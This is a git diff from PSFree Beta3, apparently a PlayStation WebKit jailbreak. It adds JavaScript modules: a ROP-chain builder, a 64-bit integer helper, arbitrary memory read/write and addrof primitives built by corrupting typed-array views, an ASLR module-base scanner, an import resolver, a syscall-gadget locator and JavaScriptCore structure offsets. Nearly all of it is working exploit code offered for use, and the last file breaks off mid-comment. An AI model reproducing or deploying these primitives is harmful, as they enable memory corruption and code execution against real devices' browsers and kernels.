PSFree Beta3
Added PS4 Firmware Detection
This commit is contained in:
@@ -0,0 +1,189 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int } from './int64.mjs';
|
||||
import { get_view_vector } from './memtools.mjs';
|
||||
import { Addr, mem } from './mem.mjs';
|
||||
|
||||
import {
|
||||
read64,
|
||||
write64,
|
||||
} from './rw.mjs';
|
||||
|
||||
import * as o from './offset.mjs';
|
||||
|
||||
// put the sycall names that you want to use here
|
||||
export const syscall_map = new Map(Object.entries({
|
||||
'getuid' : 24,
|
||||
}));
|
||||
|
||||
// Extra space to allow a ROP chain to push temporary values. It must pop all
|
||||
// of it before reaching a "ret" instruction, else the instruction will pop one
|
||||
// of the temporaries as its return address.
|
||||
const upper_pad = 0x100;
|
||||
const stack_size = 0x1000;
|
||||
const total_size = upper_pad + stack_size;
|
||||
|
||||
const argument_pops = [
|
||||
'pop rdi; ret',
|
||||
'pop rsi; ret',
|
||||
'pop rdx; ret',
|
||||
'pop rcx; ret',
|
||||
'pop r8; ret',
|
||||
'pop r9; ret',
|
||||
];
|
||||
|
||||
export class ChainBase {
|
||||
constructor() {
|
||||
this.is_stale = false;
|
||||
this.position = 0;
|
||||
this._return_value = new Uint8Array(8);
|
||||
this.retval_addr = get_view_vector(this._return_value);
|
||||
|
||||
const stack_buffer = new ArrayBuffer(total_size);
|
||||
this.stack_buffer = stack_buffer;
|
||||
this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size);
|
||||
this.stack_addr = get_view_vector(this.stack);
|
||||
}
|
||||
|
||||
check_stale() {
|
||||
if (this.is_stale) {
|
||||
throw Error('chain already ran, clean it first');
|
||||
}
|
||||
this.is_stale = true;
|
||||
}
|
||||
|
||||
check_is_empty() {
|
||||
if (this.position === 0) {
|
||||
throw Error('chain is empty');
|
||||
}
|
||||
}
|
||||
|
||||
clean() {
|
||||
this.position = 0;
|
||||
this.is_stale = false;
|
||||
}
|
||||
|
||||
// this will raise an error if the value is not an Int
|
||||
push_value(value) {
|
||||
if (this.position >= stack_size) {
|
||||
throw Error(`no more space on the stack, pushed value: ${value}`);
|
||||
}
|
||||
write64(this.stack, this.position, value);
|
||||
this.position += 8;
|
||||
}
|
||||
|
||||
// converts value to Int first
|
||||
push_constant(value) {
|
||||
this.push_value(new Int(value));
|
||||
}
|
||||
|
||||
get_gadget(insn_str) {
|
||||
const addr = this.gadgets.get(insn_str);
|
||||
if (addr === undefined) {
|
||||
throw Error(`gadget not found: ${insn_str}`);
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
push_gadget(insn_str) {
|
||||
this.push_value(this.get_gadget(insn_str));
|
||||
}
|
||||
|
||||
push_call(func_addr, ...args) {
|
||||
if (args.length > 6) {
|
||||
throw TypeError(
|
||||
'call() does not support functions that have more than 6'
|
||||
+ ' arguments'
|
||||
);
|
||||
}
|
||||
|
||||
for (let i = 0; i < args.length; i++) {
|
||||
this.push_gadget(argument_pops[i]);
|
||||
this.push_constant(args[i]);
|
||||
}
|
||||
|
||||
// The address of our buffer seems to be always aligned to 8 bytes.
|
||||
// SysV calling convention requires the stack is aligned to 16 bytes on
|
||||
// function entry, so push an additional 8 bytes to pad the stack. We
|
||||
// pushed a "ret" gadget for a noop.
|
||||
if ((this.position & (0x10 - 1)) !== 0) {
|
||||
this.push_gadget('ret');
|
||||
}
|
||||
|
||||
this.push_value(func_addr);
|
||||
}
|
||||
|
||||
push_syscall(syscall_name, ...args) {
|
||||
if (typeof syscall_name !== 'string') {
|
||||
throw TypeError(`syscall_name not a string: ${syscall_name}`);
|
||||
}
|
||||
|
||||
const sysno = syscall_map.get(syscall_name);
|
||||
if (sysno === undefined) {
|
||||
throw Error(`syscall_name not found: ${syscall_name}`);
|
||||
}
|
||||
|
||||
const syscall_addr = this.syscall_array[sysno];
|
||||
if (syscall_addr === undefined) {
|
||||
throw Error(`syscall number not in syscall_array: ${sysno}`);
|
||||
}
|
||||
|
||||
this.push_call(syscall_addr, ...args);
|
||||
}
|
||||
|
||||
// ROP chain to retrieve rax
|
||||
push_get_retval() {
|
||||
throw Error('push_get_retval() not implemented');
|
||||
}
|
||||
|
||||
// Firmware specific method to launch a ROP chain
|
||||
//
|
||||
// Implementations must call check_stale() and check_is_empty() before
|
||||
// trying to launch the chain.
|
||||
run() {
|
||||
throw Error('run() not implemented');
|
||||
}
|
||||
|
||||
get return_value() {
|
||||
return read64(this._return_value, 0);
|
||||
}
|
||||
|
||||
// Sets needed class properties
|
||||
//
|
||||
// Args:
|
||||
// gadgets:
|
||||
// A Map-like object mapping instruction strings (e.g "pop rax; ret")
|
||||
// to their addresses in memory.
|
||||
// syscall_array:
|
||||
// An array whose indices correspond to syscall numbers. Maps syscall
|
||||
// numbers to their addresses in memory. Defaults to an empty Array.
|
||||
//
|
||||
// Raises:
|
||||
// Error:
|
||||
// For missing bare minimum gadgets
|
||||
static init_class(gadgets, syscall_array=[]) {
|
||||
for (const insn of argument_pops) {
|
||||
if (!gadgets.has(insn)) {
|
||||
throw Error(`gadget map must contain this gadget: ${insn}`);
|
||||
}
|
||||
}
|
||||
this.prototype.gadgets = gadgets;
|
||||
this.prototype.syscall_array = syscall_array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
export const KB = 1024;
|
||||
export const MB = KB * KB;
|
||||
export const GB = KB * KB * KB;
|
||||
@@ -0,0 +1,193 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
function check_range(x) {
|
||||
return (-0x80000000 <= x) && (x <= 0xffffffff);
|
||||
}
|
||||
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.substring(0, 2) === "0x") {
|
||||
hexstr = hexstr.substring(2);
|
||||
}
|
||||
if (hexstr.length % 2 === 1) {
|
||||
hexstr = '0' + hexstr;
|
||||
}
|
||||
if (hexstr.length % 2 === 1) {
|
||||
throw TypeError("Invalid hex string");
|
||||
}
|
||||
|
||||
let bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (let i = 0; i < hexstr.length; i += 2) {
|
||||
let new_i = hexstr.length - 2 - i;
|
||||
let substr = hexstr.slice(new_i, new_i + 2);
|
||||
bytes[i / 2] = parseInt(substr, 16);
|
||||
}
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
// Decorator for Int instance operations. Takes care
|
||||
// of converting arguments to Int instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function () {
|
||||
if (arguments.length !== nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
let new_args = [];
|
||||
for (let i = 0; i < arguments.length; i++) {
|
||||
if (!(arguments[i] instanceof Int)) {
|
||||
new_args[i] = new Int(arguments[i]);
|
||||
} else {
|
||||
new_args[i] = arguments[i];
|
||||
}
|
||||
}
|
||||
return f.apply(this, new_args);
|
||||
};
|
||||
}
|
||||
|
||||
export class Int {
|
||||
constructor(low, high) {
|
||||
let buffer = new Uint32Array(2);
|
||||
let bytes = new Uint8Array(buffer.buffer);
|
||||
|
||||
if (arguments.length > 2) {
|
||||
throw TypeError('Int takes at most 2 args');
|
||||
}
|
||||
if (arguments.length === 0) {
|
||||
throw TypeError('Int takes at min 1 args');
|
||||
}
|
||||
let is_one = false;
|
||||
if (arguments.length === 1) {
|
||||
is_one = true;
|
||||
}
|
||||
|
||||
if (!is_one) {
|
||||
if (typeof (low) !== 'number'
|
||||
&& typeof (high) !== 'number') {
|
||||
throw TypeError('low/high must be numbers');
|
||||
}
|
||||
}
|
||||
|
||||
if (typeof low === 'number') {
|
||||
if (!check_range(low)) {
|
||||
throw TypeError('low not a valid value: ' + low);
|
||||
}
|
||||
if (is_one) {
|
||||
high = 0;
|
||||
if (low < 0) {
|
||||
high = -1;
|
||||
}
|
||||
} else {
|
||||
if (!check_range(high)) {
|
||||
throw TypeError('high not a valid value: ' + high);
|
||||
}
|
||||
}
|
||||
buffer[0] = low;
|
||||
buffer[1] = high;
|
||||
} else if (typeof low === 'string') {
|
||||
bytes.set(unhexlify(low));
|
||||
} else if (typeof low === 'object') {
|
||||
if (low instanceof Int) {
|
||||
bytes.set(low.bytes);
|
||||
} else {
|
||||
if (low.length !== 8)
|
||||
throw TypeError("Array must have exactly 8 elements.");
|
||||
bytes.set(low);
|
||||
}
|
||||
} else {
|
||||
throw TypeError('Int does not support your object for conversion');
|
||||
}
|
||||
|
||||
this.buffer = buffer;
|
||||
this.bytes = bytes;
|
||||
|
||||
this.neg = operation(function neg() {
|
||||
let type = this.constructor;
|
||||
|
||||
let low = ~this.low();
|
||||
let high = ~this.high();
|
||||
|
||||
let res = (new Int(low, high)).add(1);
|
||||
|
||||
return new type(res);
|
||||
}, 0);
|
||||
|
||||
this.add = operation(function add(b) {
|
||||
let type = this.constructor;
|
||||
|
||||
let low = this.low();
|
||||
let high = this.high();
|
||||
|
||||
low += b.low();
|
||||
let carry = 0;
|
||||
if (low > 0xffffffff) {
|
||||
carry = 1;
|
||||
}
|
||||
high += carry + b.high();
|
||||
|
||||
low &= 0xffffffff;
|
||||
high &= 0xffffffff;
|
||||
|
||||
return new type(low, high);
|
||||
}, 1);
|
||||
|
||||
this.sub = operation(function sub(b) {
|
||||
let type = this.constructor;
|
||||
|
||||
b = b.neg();
|
||||
|
||||
let low = this.low();
|
||||
let high = this.high();
|
||||
|
||||
low += b.low();
|
||||
let carry = 0;
|
||||
if (low > 0xffffffff) {
|
||||
carry = 1;
|
||||
}
|
||||
high += carry + b.high();
|
||||
|
||||
low &= 0xffffffff;
|
||||
high &= 0xffffffff;
|
||||
|
||||
return new type(low, high);
|
||||
}, 1);
|
||||
}
|
||||
|
||||
low() {
|
||||
return this.buffer[0];
|
||||
}
|
||||
|
||||
high() {
|
||||
return this.buffer[1];
|
||||
}
|
||||
|
||||
toString(is_pretty) {
|
||||
if (!is_pretty) {
|
||||
let low = this.low().toString(16).padStart(8, '0');
|
||||
let high = this.high().toString(16).padStart(8, '0');
|
||||
return '0x' + high + low;
|
||||
}
|
||||
let high = this.high().toString(16).padStart(8, '0');
|
||||
high = high.substring(0, 4) + '_' + high.substring(4);
|
||||
|
||||
let low = this.low().toString(16).padStart(8, '0');
|
||||
low = low.substring(0, 4) + '_' + low.substring(4);
|
||||
return '0x' + high + '_' + low;
|
||||
}
|
||||
}
|
||||
|
||||
Int.Zero = new Int(0);
|
||||
Int.One = new Int(1);
|
||||
+253
@@ -0,0 +1,253 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int } from './int64.mjs';
|
||||
import {
|
||||
read16,
|
||||
read32,
|
||||
read64,
|
||||
write16,
|
||||
write32,
|
||||
write64,
|
||||
} from './rw.mjs';
|
||||
import * as o from './offset.mjs';
|
||||
|
||||
export let mem = null;
|
||||
|
||||
function init_module(memory) {
|
||||
mem = memory;
|
||||
}
|
||||
|
||||
export class Addr extends Int {
|
||||
read8(offset) {
|
||||
const addr = this.add(offset);
|
||||
return mem.read8(addr);
|
||||
}
|
||||
|
||||
read16(offset) {
|
||||
const addr = this.add(offset);
|
||||
return mem.read16(addr);
|
||||
}
|
||||
|
||||
read32(offset) {
|
||||
const addr = this.add(offset);
|
||||
return mem.read32(addr);
|
||||
}
|
||||
|
||||
read64(offset) {
|
||||
const addr = this.add(offset);
|
||||
return mem.read64(addr);
|
||||
}
|
||||
|
||||
// returns a pointer instead of an Int
|
||||
readp(offset) {
|
||||
const addr = this.add(offset);
|
||||
return mem.readp(addr);
|
||||
}
|
||||
|
||||
write8(offset, value) {
|
||||
const addr = this.add(offset);
|
||||
|
||||
mem.write8(addr, value);
|
||||
}
|
||||
|
||||
write16(offset, value) {
|
||||
const addr = this.add(offset);
|
||||
|
||||
mem.write16(addr, value);
|
||||
}
|
||||
|
||||
write32(offset, value) {
|
||||
const addr = this.add(offset);
|
||||
|
||||
mem.write32(addr, value);
|
||||
}
|
||||
|
||||
write64(offset, value) {
|
||||
const addr = this.add(offset);
|
||||
|
||||
mem.write64(addr, value);
|
||||
}
|
||||
}
|
||||
|
||||
class MemoryBase {
|
||||
_addrof(obj) {
|
||||
if (typeof obj !== 'object'
|
||||
&& typeof obj !== 'function'
|
||||
) {
|
||||
throw TypeError('addrof argument not a JS object');
|
||||
}
|
||||
this.worker.a = obj;
|
||||
write64(this.main, o.view_m_vector, this.butterfly.sub(0x10));
|
||||
let res = read64(this.worker, 0);
|
||||
write64(this.main, o.view_m_vector, this._current_addr);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
addrof(obj) {
|
||||
return new Addr(this._addrof(obj));
|
||||
}
|
||||
|
||||
set_addr(addr) {
|
||||
if (!(addr instanceof Int)) {
|
||||
throw TypeError('addr must be an Int');
|
||||
}
|
||||
this._current_addr = addr;
|
||||
write64(this.main, o.view_m_vector, this._current_addr);
|
||||
}
|
||||
|
||||
get_addr() {
|
||||
return this._current_addr;
|
||||
}
|
||||
|
||||
// write0() is for when you want to write to address 0. You can't use for
|
||||
// example: "mem.write32(Int.Zero, 0)", since you can't set by index the
|
||||
// view when it isDetached(). isDetached() == true when m_mode >=
|
||||
// WastefulTypedArray and m_vector == 0.
|
||||
//
|
||||
// Functions like write32() will index mem.worker via write() from rw.mjs.
|
||||
//
|
||||
// size is the number of bits to read/write.
|
||||
//
|
||||
// The constraint is 0 <= offset + 1 < 2**32.
|
||||
//
|
||||
// PS4 firmwares >= 9.00 and any PS5 version can write to address 0
|
||||
// directly. All firmwares (PS4 and PS5) can read address 0 directly.
|
||||
//
|
||||
// See setIndex() from
|
||||
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4
|
||||
// 8.03 for more information. Affected firmwares will get this error:
|
||||
//
|
||||
// TypeError: Underlying ArrayBuffer has been detached from the view
|
||||
write0(size, offset, value) {
|
||||
const i = offset + 1;
|
||||
if (i >= 2**32 || i < 0) {
|
||||
throw RangeError(`read0() invalid offset: ${offset}`);
|
||||
}
|
||||
|
||||
this.set_addr(new Int(-1));
|
||||
|
||||
switch (size) {
|
||||
case 8: {
|
||||
this.worker[i] = value;
|
||||
}
|
||||
case 16: {
|
||||
write16(this.worker, i, value);
|
||||
}
|
||||
case 32: {
|
||||
write32(this.worker, i, value);
|
||||
}
|
||||
case 64: {
|
||||
write64(this.worker, i, value);
|
||||
}
|
||||
default: {
|
||||
throw RangeError(`write0() invalid size: ${size}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
read8(addr) {
|
||||
this.set_addr(addr);
|
||||
return this.worker[0];
|
||||
}
|
||||
|
||||
read16(addr) {
|
||||
this.set_addr(addr);
|
||||
return read16(this.worker, 0);
|
||||
}
|
||||
|
||||
read32(addr) {
|
||||
this.set_addr(addr);
|
||||
return read32(this.worker, 0);
|
||||
}
|
||||
|
||||
read64(addr) {
|
||||
this.set_addr(addr);
|
||||
return read64(this.worker, 0);
|
||||
}
|
||||
|
||||
// returns a pointer instead of an Int
|
||||
readp(addr) {
|
||||
return new Addr(this.read64(addr));
|
||||
}
|
||||
|
||||
write8(addr, value) {
|
||||
this.set_addr(addr);
|
||||
this.worker[0] = value;
|
||||
}
|
||||
|
||||
write16(addr, value) {
|
||||
this.set_addr(addr);
|
||||
write16(this.worker, 0, value);
|
||||
}
|
||||
|
||||
write32(addr, value) {
|
||||
this.set_addr(addr);
|
||||
write32(this.worker, 0, value);
|
||||
}
|
||||
|
||||
write64(addr, value) {
|
||||
this.set_addr(addr);
|
||||
write64(this.worker, 0, value);
|
||||
}
|
||||
}
|
||||
|
||||
export class Memory extends MemoryBase {
|
||||
constructor(main, main_addr, worker, worker_addr, worker_index) {
|
||||
super();
|
||||
|
||||
this.main = main;
|
||||
this.main_addr = main_addr;
|
||||
this.worker = worker;
|
||||
this.worker_addr = worker_addr;
|
||||
|
||||
// The initial creation of the "a" property will change the butterfly
|
||||
// address. Do it now so we can cache it for addrof().
|
||||
worker.a = 0; // dummy value, we just want to create the "a" property
|
||||
this.butterfly = read64(main, worker_index + o.js_butterfly);
|
||||
|
||||
write32(main, worker_index + o.view_m_length, 0xffffffff);
|
||||
// setup main's m_vector to worker
|
||||
write64(main, worker_index + o.view_m_vector, main_addr);
|
||||
write64(worker, o.view_m_vector, worker_addr);
|
||||
|
||||
this._current_addr = main_addr;
|
||||
|
||||
init_module(this);
|
||||
}
|
||||
}
|
||||
|
||||
export class Memory2 extends MemoryBase {
|
||||
constructor(main, worker) {
|
||||
super();
|
||||
|
||||
this.main = main;
|
||||
this.worker = worker;
|
||||
|
||||
// The initial creation of the "a" property will change the butterfly
|
||||
// address. Do it now so we can cache it for addrof().
|
||||
worker.a = 0; // dummy value, we just want to create the "a" property
|
||||
this.butterfly = read64(main, o.js_butterfly);
|
||||
|
||||
write32(main, o.view_m_length, 0xffffffff);
|
||||
|
||||
this._current_addr = Int.Zero;
|
||||
|
||||
init_module(this);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// This module are for utilities that depend on running the exploit first
|
||||
|
||||
import { Int } from './int64.mjs';
|
||||
import { Addr, mem } from './mem.mjs';
|
||||
import { align } from './utils.mjs';
|
||||
import { KB } from './constants.mjs';
|
||||
import { read32 } from './rw.mjs';
|
||||
|
||||
import * as rw from './rw.mjs';
|
||||
import * as o from './offset.mjs';
|
||||
|
||||
export function make_buffer(addr, size) {
|
||||
// see enum TypedArrayMode from
|
||||
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
|
||||
// at webkitgtk 2.34.4
|
||||
//
|
||||
// views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
|
||||
// associated with them, if we ask for view.buffer, it will be created on
|
||||
// the fly
|
||||
const mode_fast = 0;
|
||||
const u = new Uint8Array(1);
|
||||
const u_addr = mem.addrof(u);
|
||||
|
||||
const old_addr = u_addr.read64(o.view_m_vector);
|
||||
u_addr.write64(o.view_m_vector, addr);
|
||||
|
||||
const old_size = u_addr.read32(o.view_m_length);
|
||||
u_addr.write32(o.view_m_length, size);
|
||||
|
||||
const old_mode = u_addr.read32(o.view_m_mode);
|
||||
// force mode to FastTypedArray
|
||||
u_addr.write32(o.view_m_mode, mode_fast);
|
||||
|
||||
const res = u.buffer;
|
||||
|
||||
// restore
|
||||
u_addr.write64(o.view_m_vector, old_addr);
|
||||
u_addr.write32(o.view_m_length, old_size);
|
||||
u_addr.write32(o.view_m_mode, old_mode);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
function eq(a, b) {
|
||||
return (a.low() === b.low()) && (a.high() === b.high());
|
||||
}
|
||||
|
||||
// these values came from analyzing dumps from CelesteBlue
|
||||
function check_magic_at(p, is_text) {
|
||||
// byte sequence that is very likely to appear at offset 0 of a .text
|
||||
// segment
|
||||
const text_magic = [
|
||||
new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]),
|
||||
new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]),
|
||||
];
|
||||
|
||||
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
|
||||
|
||||
// .data magic from 3.00, 6.00, and 6.20
|
||||
//const data_magic = [
|
||||
// new Int(0x18),
|
||||
// new Int(0x3c13f4bf, 0x1),
|
||||
//];
|
||||
|
||||
// .data magic from 8.00 and 8.03
|
||||
const data_magic = [
|
||||
new Int(0x20),
|
||||
new Int(0x3c13f4bf, 0x2),
|
||||
];
|
||||
|
||||
const magic = is_text ? text_magic : data_magic;
|
||||
const value = [p.read64(0), p.read64(8)];
|
||||
|
||||
return eq(value[0], magic[0]) && eq(value[1], magic[1]);
|
||||
}
|
||||
|
||||
// Finds the base address of a segment: .text or .data
|
||||
// Used on the ps4 to locate module base addresses
|
||||
// * p:
|
||||
// an address pointing somewhere in the segment to search
|
||||
// * is_text:
|
||||
// whether the segment is .text or .data
|
||||
// * is_back:
|
||||
// whether to search backwards (to lower addresses) or forwards
|
||||
//
|
||||
// Modules are likely to be separated by a couple of unmapped pages because of
|
||||
// Address Space Layout Randomization (all module base addresses are
|
||||
// randomized). This means that this function will either succeed or crash on
|
||||
// a page fault, if the magic is not present.
|
||||
//
|
||||
// To be precise, modules are likely to be "surrounded" by unmapped pages, it
|
||||
// does not mean that the distance between a boundary of a module and the
|
||||
// nearest unmapped page is 0.
|
||||
//
|
||||
// The boundaries of a module is its base and end addresses.
|
||||
//
|
||||
// let module_base_addr = find_base(...);
|
||||
// // Not guaranteed to crash, the nearest unmapped page is not necessarily at
|
||||
// // 0 distance away from module_base_addr.
|
||||
// addr.read8(-1);
|
||||
//
|
||||
export function find_base(addr, is_text, is_back) {
|
||||
// ps4 page size
|
||||
const page_size = 16 * KB;
|
||||
// align to page size
|
||||
addr = align(addr, page_size);
|
||||
const offset = (is_back ? -1 : 1) * page_size;
|
||||
while (true) {
|
||||
if (check_magic_at(addr, is_text)) {
|
||||
break;
|
||||
}
|
||||
addr = addr.add(offset)
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
// gets the address of the underlying buffer of a JSC::JSArrayBufferView
|
||||
export function get_view_vector(view) {
|
||||
if (!ArrayBuffer.isView(view)) {
|
||||
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
|
||||
}
|
||||
return mem.addrof(view).readp(o.view_m_vector);
|
||||
}
|
||||
|
||||
export function resolve_import(import_addr) {
|
||||
if (import_addr.read16(0) !== 0x25ff) {
|
||||
throw Error(
|
||||
`instruction at ${import_addr} is not of the form: jmp qword`
|
||||
+ ' [rip + X]'
|
||||
);
|
||||
}
|
||||
// module_function_import:
|
||||
// jmp qword [rip + X]
|
||||
// ff 25 xx xx xx xx // signed 32-bit displacement
|
||||
const disp = import_addr.read32(2);
|
||||
// sign extend
|
||||
const offset = new Int(disp, disp >> 31);
|
||||
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
|
||||
// of the next instruction. This means that the actual address used is
|
||||
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
|
||||
// jump instruction, which is 6 in this case.
|
||||
const function_addr = import_addr.add(offset.add(6)).readp(0);
|
||||
|
||||
return function_addr;
|
||||
}
|
||||
|
||||
export function init_syscall_array(
|
||||
syscall_array,
|
||||
libkernel_web_base,
|
||||
max_search_size,
|
||||
) {
|
||||
if (typeof max_search_size !== 'number') {
|
||||
throw TypeError(`max_search_size is not a number: ${max_search_size}`);
|
||||
}
|
||||
if (max_search_size < 0) {
|
||||
throw Error(`max_search_size is less than 0: ${max_search_size}`);
|
||||
}
|
||||
|
||||
const libkernel_web_buffer = make_buffer(
|
||||
libkernel_web_base,
|
||||
max_search_size,
|
||||
);
|
||||
const kbuf = new Uint8Array(libkernel_web_buffer);
|
||||
|
||||
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
|
||||
// upper bound on the size of the .text section.
|
||||
let text_size = 0;
|
||||
let found = false;
|
||||
for (let i = 0; i < max_search_size; i++) {
|
||||
if (kbuf[i] === 0x72
|
||||
&& kbuf[i + 1] === 0x64
|
||||
&& kbuf[i + 2] === 0x6c
|
||||
&& kbuf[i + 3] === 0x6f
|
||||
) {
|
||||
text_size = i;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
throw Error(
|
||||
'"rdlo" string not found in libkernel_web, base address:'
|
||||
+ ` ${libkernel_web_base}`
|
||||
);
|
||||
}
|
||||
|
||||
// search for the instruction sequence:
|
||||
// syscall_X:
|
||||
// mov rax, X
|
||||
// mov r10, rcx
|
||||
// syscall
|
||||
for (let i = 0; i < text_size; i++) {
|
||||
if (kbuf[i] === 0x48
|
||||
&& kbuf[i + 1] === 0xc7
|
||||
&& kbuf[i + 2] === 0xc0
|
||||
&& kbuf[i + 7] === 0x49
|
||||
&& kbuf[i + 8] === 0x89
|
||||
&& kbuf[i + 9] === 0xca
|
||||
&& kbuf[i + 10] === 0x0f
|
||||
&& kbuf[i + 11] === 0x05
|
||||
) {
|
||||
const syscall_num = read32(kbuf, i + 3);
|
||||
syscall_array[syscall_num] = libkernel_web_base.add(i);
|
||||
// skip the sequence
|
||||
i += 11;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// offsets for JSC::JSObject
|
||||
export const js_butterfly = 0x8;
|
||||
|
||||
// offsets for JSC::JSArrayBufferView
|
||||
export const view_m_vector = 0x10;
|
||||
export const view_m_length = 0x18;
|
||||
export const view_m_mode = 0x1c;
|
||||
|
||||
// sizeof JSC::JSArrayBufferView
|
||||
export const size_view = 0x20;
|
||||
|
||||
// offsets for WTF::StringImpl
|
||||
export const strimpl_strlen = 4;
|
||||
export const strimpl_m_data = 8;
|
||||
export const strimpl_inline_str = 0x14;
|
||||
|
||||
// sizeof WTF::StringImpl
|
||||
export const size_strimpl = 0x18;
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int } from './int64.mjs';
|
||||
|
||||
// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
|
||||
// be corrupting the m_vector of our target views later, the ArrayBuffer's
|
||||
// buffer will not correspond to our fake m_vector anyway.
|
||||
//
|
||||
// can't use:
|
||||
//
|
||||
// function read32(u8_view, offset) {
|
||||
// let res = new Uint32Array(u8_view.buffer, offset, 1);
|
||||
// return res[0];
|
||||
// }
|
||||
//
|
||||
